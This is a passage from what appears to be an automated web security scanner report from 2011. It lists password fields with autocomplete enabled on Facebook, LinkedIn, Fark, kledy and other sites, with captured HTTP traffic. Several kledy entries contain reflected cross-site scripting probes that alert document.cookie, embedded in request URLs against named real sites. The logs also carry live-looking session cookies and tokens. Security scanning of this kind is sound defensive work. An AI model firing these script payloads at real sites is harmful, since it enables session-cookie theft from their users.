Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/laprincesita.inigulable

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.55. http://www.facebook.com/marytere.medina previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/marytere.medina

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.56. http://www.facebook.com/pages/Kledyde/344540630304 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Kledyde/344540630304

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.57. http://www.facebook.com/pages/OrthoSuperSitecom/296664256434 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OrthoSuperSitecom/296664256434

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

GET /pages/OrthoSuperSitecom/296664256434 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=JslNTVyi3Z1cM6bZrSjKLTPt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=mxlHK; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:03:18 GMT
Content-Length: 136626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." />
...[SNIP]...
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td>
...[SNIP]...

16.58. http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Orthopaedic-Trauma-Association/212018968439

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.59. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

GET /plugins/likebox.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

HTTP/1.1 404 Not Found
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:38:38 GMT
Content-Length: 10590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." />
...[SNIP]...
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td>
...[SNIP]...

16.60. http://www.facebook.com/pointeresortsaz previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pointeresortsaz

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.61. http://www.facebook.com/uschi.eller previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/uschi.eller

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.62. http://www.facebook.com/vibrantmedia previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/vibrantmedia

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

Response

16.63. http://www.fark.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.fark.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.fark.com/login

The form contains the following password field with autocomplete enabled:

passwd

Request

GET / HTTP/1.1
Host: www.fark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:01:54 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Expires: Sat, 05 Feb 2011 23:01:53 GMT
Cache-Control: no-cache
Content-Length: 185140

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
<head><title>Drew Curtis' FARK.com</title> <meta http-equiv="Content-Type" content="te
...[SNIP]...
<br> <form method="post" enctype="application/x-www-form-urlencoded" action="https://www.fark.com/login" class="killspacehack"><input type="hidden" name="continue" value="H4_0jl2hlZisJzbV46pwyoUMstTPsr-qm31cQcGRNCUnhj">
...[SNIP]...
</label>  <input type="password" name="passwd" id="zpasswd" value="" size="12">
  <input type="submit" value="login" onclick="this.disabled=true; this.form.submit();">
...[SNIP]...

16.64. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB130

The form contains the following password field with autocomplete enabled:

password

Request

GET /default.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.65. http://www.hyves.nl/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The page contains a form with the following action URL:

https://secure.hyves.org/?module=authentication&action=login&r=76feb4e5

The form contains the following password field with autocomplete enabled:

auth_password

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.66. http://www.jamespot.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.jamespot.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.jamespot.com/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.jamespot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.67. http://www.jazdtech.com/techdirect/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/techdirect/

Issue detail

The page contains a form with the following action URL:

http://www.jazdtech.com/techdirect/

The form contains the following password field with autocomplete enabled:

password

Request

GET /techdirect/ HTTP/1.1
Host: www.jazdtech.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.68. http://www.jumptags.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.jumptags.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.jumptags.com/my/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.jumptags.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.69. http://www.kledy.co.uk/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.co.uk/login.php?return=/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1/

The form contains the following password field with autocomplete enabled:

password

Request

GET /?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1 HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D

Response

16.70. http://www.kledy.co.uk/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.co.uk/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.71. http://www.kledy.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.72. http://www.kledy.de/bookmarks.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.73. http://www.kledy.de/bookmarks.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/bookmarks.php

The form contains the following password field with autocomplete enabled:

password

Request

GET /bookmarks.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:07 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 94653

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</h2>
<form action="/login.php?return=/bookmarks.php" id="thisform" method="post">
<p style="margin:0px;padding:0px">
...[SNIP]...
<br>
       <input type="password" name="password" class="login" tabindex="11"><br>
...[SNIP]...

16.74. http://www.kledy.de/bookmarks.php/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/bookmarks.php/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/bookmarks.php/

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.75. http://www.kledy.de/buttons.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/buttons.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/buttons.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.76. http://www.kledy.de/groups.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/groups.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/groups.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.77. http://www.kledy.de/impressum.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/impressum.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/impressum.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.78. http://www.kledy.de/login.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/login.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.79. http://www.kledy.de/login.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/login.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.80. http://www.kledy.de/topusers.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/topusers.php

Issue detail

The page contains a form with the following action URL:

http://www.kledy.de/login.php?return=/topusers.php

The form contains the following password field with autocomplete enabled:

password

Request

Response

16.81. http://www.kledy.es/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.es/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.es
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.82. http://www.kledy.es/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.es/login.php?return=/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1/

The form contains the following password field with autocomplete enabled:

password

Request

GET /?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1 HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D

Response

16.83. http://www.kledy.eu/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.eu
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.eu/login.php?return=/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.84. http://www.kledy.it/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.it/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.85. http://www.kledy.it/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.it/login.php?return=/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1/

The form contains the following password field with autocomplete enabled:

password

Request

GET /?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1 HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D

Response

16.86. http://www.kledy.us/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.us/login.php?return=/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1/

The form contains the following password field with autocomplete enabled:

password

Request

GET /?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1 HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D

Response

16.87. http://www.kledy.us/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kledy.us/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.kledy.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.88. http://www.klivio.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.klivio.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.klivio.com/login.php?return=//

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.klivio.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.89. http://www.klivio.de/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.klivio.de
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.klivio.de/login.php?return=/

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.klivio.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.90. http://www.linkagogo.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.linkagogo.com/go/Authenticate

The form contains the following password field with autocomplete enabled:

code

Request

GET / HTTP/1.1
Host: www.linkagogo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.91. http://www.linkatopia.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.linkatopia.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.linkatopia.com/login

The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.92. http://www.linkedin.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.linkedin.com/nhome/join-create

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.93. http://www.linkedin.com/groupInvitation previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/groupInvitation

Issue detail

The page contains a form with the following action URL:

https://www.linkedin.com/secure/login

The form contains the following password field with autocomplete enabled:

session_password

Request

GET /groupInvitation?groupID=2733523&sharedKey=5E31B541BDFC HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Expires: 0
Pragma: no-cache
Cache-control: no-cache, must-revalidate, max-age=0
Set-Cookie: leo_auth_token="GST:81Ntwe9iDD4QGKvfikND_eZCWviQhRwLC5ND6-fVFW40GUhqlxvkiN:1296943604:a55b49da2b809c5803deeba2150e2400b03f2c3c"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 22:36:43 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:9057257785797027261"; Version=1; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 01:20:51 GMT; Path=/
Set-Cookie: bcookie="v=1&f17346a4-a48c-4898-b2a9-e96cf0bd0830"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:51 GMT; Path=/
Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:44 GMT
Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965b45525d5f4f58455e445a4a42198c;expires=Sat, 05-Feb-2011 22:36:59 GMT;path=/;httponly
Content-Length: 15097

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="pageImpressionID" conte
...[SNIP]...
<div class="login-form">

<form action="https://www.linkedin.com/secure/login" method="POST" accept-charset="UTF-8" name="login"> <input type="hidden" name="csrfToken" value="ajax:9057257785797027261">
...[SNIP]...
</label>
<input type="password" name="session_password" value="" id="session_password-login" size="24">
</p>
...[SNIP]...

16.94. http://www.livejournal.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.livejournal.com/login.bml?ret=1

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.livejournal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 23:02:34 GMT
Server: Apache/2.2.3 (CentOS)
X-AWS-Id: ws17
Set-Cookie: ljuniq=MnryuUjDEJIp2pJ:1296946954:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:34 GMT; domain=.livejournal.com; path=/
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Cache-Control: private, proxy-revalidate
ETag: "793cf6369d9bfe16694da195a465d2c3"
Content-length: 48994
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<
...[SNIP]...
<div class="lj_loginform" id="Login">
<form style='margin: 0; padding: 0;' method="post" action="https://www.livejournal.com/login.bml?ret=1" id="login" class="lj_login_form">

<input type='hidden' name='mode' value='login' />
...[SNIP]...
<td style='white-space: nowrap;'><input type="password" name="password" size="15" class="lj_login_password" tabindex="2" />
<input type='submit' value="Log in" tabindex='3' />
...[SNIP]...

16.95. http://www.migrationexpertzone.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.migrationexpertzone.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.migrationexpertzone.com/Login/AttemptLogin/

The form contains the following password field with autocomplete enabled:

Password

Request

GET / HTTP/1.1
Host: www.migrationexpertzone.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.96. http://www.myfitnesspal.com/nutrition-facts-calories/bjs previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.myfitnesspal.com
Path:	/nutrition-facts-calories/bjs

Issue detail

The page contains a form with the following action URL:

http://www.myfitnesspal.com/account/login

The form contains the following password field with autocomplete enabled:

password

Request

GET /nutrition-facts-calories/bjs HTTP/1.1
Host: www.myfitnesspal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.97. http://www.mylinkvault.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.mylinkvault.com/users/register.php

The form contains the following password fields with autocomplete enabled:

password
password_chk

Request

GET / HTTP/1.1
Host: www.mylinkvault.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.98. http://www.myspace.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.myspace.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.myspace.com/auth/login

The form contains the following password field with autocomplete enabled:

Password

Request

GET / HTTP/1.1
Host: www.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.99. http://www.myspace.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.myspace.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.myspace.com/auth/login

The form contains the following password field with autocomplete enabled:

Password

Request

GET / HTTP/1.1
Host: www.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-Server: 17e2d175617537d6cd02a20d8ed1e2c2653c581408958462
